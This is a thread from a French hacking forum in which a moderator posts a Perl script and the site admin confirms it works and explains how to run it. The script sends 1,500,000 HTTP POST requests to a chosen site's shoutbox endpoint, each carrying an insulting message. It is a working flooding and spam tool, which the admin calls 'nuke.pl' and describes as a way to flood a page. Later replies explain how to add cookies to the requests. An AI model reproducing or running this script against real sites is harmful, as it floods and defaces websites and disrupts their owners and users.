S'enregistrer | Rechercher | FAQ | Liste des Membres | Groupes d'utilisateurs | Connexion

  Nom d'utilisateur:    Mot de passe:       

  

Poster un nouveau sujet   Répondre au sujet Page 1 sur 1
Voir le sujet précédent :: Voir le sujet suivant  

Arrivez vous a truquer ce sondage ???
1
27%
 27%  [ 3 ]
2
0%
 0%  [ 0 ]
3
0%
 0%  [ 0 ]
4
9%
 9%  [ 1 ]
5
9%
 9%  [ 1 ]
6
0%
 0%  [ 0 ]
7
0%
 0%  [ 0 ]
8
0%
 0%  [ 0 ]
9
0%
 0%  [ 0 ]
10
54%
 54%  [ 6 ]
Total des votes : 11

Auteur Message
MessagePosté le: Jeu Juil 19, 2007 5:32 pm    Sujet du message: Perl Répondre en citant

iMhack
Modérateur


 
Inscrit le: 17 Juil 2007
Messages: 97
Localisation: 0.0.0.0



VoilĂ  un petit code en Perl... A vous de trouver Ă  quoi il sert (Vu sur ce site)

A Ă©diter avec HTTP Live Headers:

print $sock "POST /index.php?nav=com HTTP/1.1\n";

$postit = "msg=Hello&user_code=&nav=com";



#!/usr/bin/perl

use IO::Socket;

$x = 0;

print q(
iMhack > Bienvenue sur hackbbs.org

);
print q(Host |SANS-> http://www.| );

$host = <STDIN>;
chop ($host);

while($x !=1500000)

{


$postit = "msg=Je+suis+un+lammer&nav=com";

$lrg = length $postit;

my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",

Proto => "tcp",
);
die "\nPlus D'Espace Dans Tes Sockets !! Verifire Tes Sockets... : $!\n" unless $sock;

print $sock "POST /bin/communication/shootbox2.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: image/gif, image/x-xbitmap, imag/jpeg, image/pjpeg, application/x-shockwave-flash, applications/vnd.ms-exel, applicationmsword, */*\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);

syswrite STDOUT, "-lammer_c_est_mal";
}


EDIT : http://bereski.free.fr/perl/fperl16.html Ă  inclure


Dernière édition par iMhack le Ven Juil 20, 2007 10:34 pm; édité 4 fois
Voir le profil de l'utilisateur Envoyer un message privés
MessagePosté le: Ven Juil 20, 2007 10:34 am    Sujet du message: ugh Répondre en citant

Korigan
Site Admin


 
Inscrit le: 29 Mai 2007
Messages: 1781



Salut Ă  toi et GG pour ton script Smile
Testé et opérationel Smile
Il faut juste changer la 1ere ligne et mettre Ă  la place:

Code:
#!/usr/bin/perl


ou alors le chemin vers votre propre perl

Ne pas oublier de faire un chmod u+x le nom du script

Puis il se lance en tapant:

Code:
perl ./nuke.pl


Ensuite en argument on met le nom de la page Ă  flooder :p

@pluuuus
Mik[/code]
Voir le profil de l'utilisateur Envoyer un message privés Envoyer un e-mail
MessagePosté le: Lun Aoû 13, 2007 12:22 pm    Sujet du message: Répondre en citant

iMhack
Modérateur


 
Inscrit le: 17 Juil 2007
Messages: 97
Localisation: 0.0.0.0



Et pour gérer les cookies ??? Je met "Cookie : $cookie\n" ???
Voir le profil de l'utilisateur Envoyer un message privés
MessagePosté le: Mer Aoû 15, 2007 3:49 pm    Sujet du message: Ugh Répondre en citant

Korigan
Site Admin


 
Inscrit le: 29 Mai 2007
Messages: 1781



Oui, il faut respecter le protocole http.
Tu ecrit sur la socket ce qui serait envoyé par ton navigateur ^^
Voir le profil de l'utilisateur Envoyer un message privés Envoyer un e-mail
MessagePosté le: Mer Oct 17, 2007 12:22 am    Sujet du message: Répondre en citant

stickmen
Projets


 
Inscrit le: 23 Juil 2007
Messages: 1



peux tu mettre un tuto du scipt merci
Voir le profil de l'utilisateur Envoyer un message privés MSN Messenger
MessagePosté le: Lun Oct 22, 2007 6:44 pm    Sujet du message: Répondre en citant

Korigan
Site Admin


 
Inscrit le: 29 Mai 2007
Messages: 1781



Qu'entends tu par tuto de script?
Sinon si tu veux apprendre Ă  faire du perl ou du php tu pourrais aller voir sur le site du zero.
Si tu souhaites développer un script particulier, tu le soumet et on te le corrige pas de soucis Smile
Voir le profil de l'utilisateur Envoyer un message privés Envoyer un e-mail
MessagePosté le: Dim Fév 10, 2008 7:39 pm    Sujet du message: Répondre en citant

jak
Projets


 
Inscrit le: 30 Déc 2007
Messages: 162



sur le site du zero je n' ai pas trouvé de tuto pour le perl!
Voir le profil de l'utilisateur Envoyer un message privés
Poster un nouveau sujet   Répondre au sujet Page 1 sur 1

  


 
Sauter vers:  
Vous ne pouvez pas poster de nouveaux sujets dans ce forum
Vous ne pouvez pas répondre aux sujets dans ce forum
Vous ne pouvez pas éditer vos messages dans ce forum
Vous ne pouvez pas supprimer vos messages dans ce forum
Vous ne pouvez pas voter dans les sondages de ce forum



123949 Attacks blocked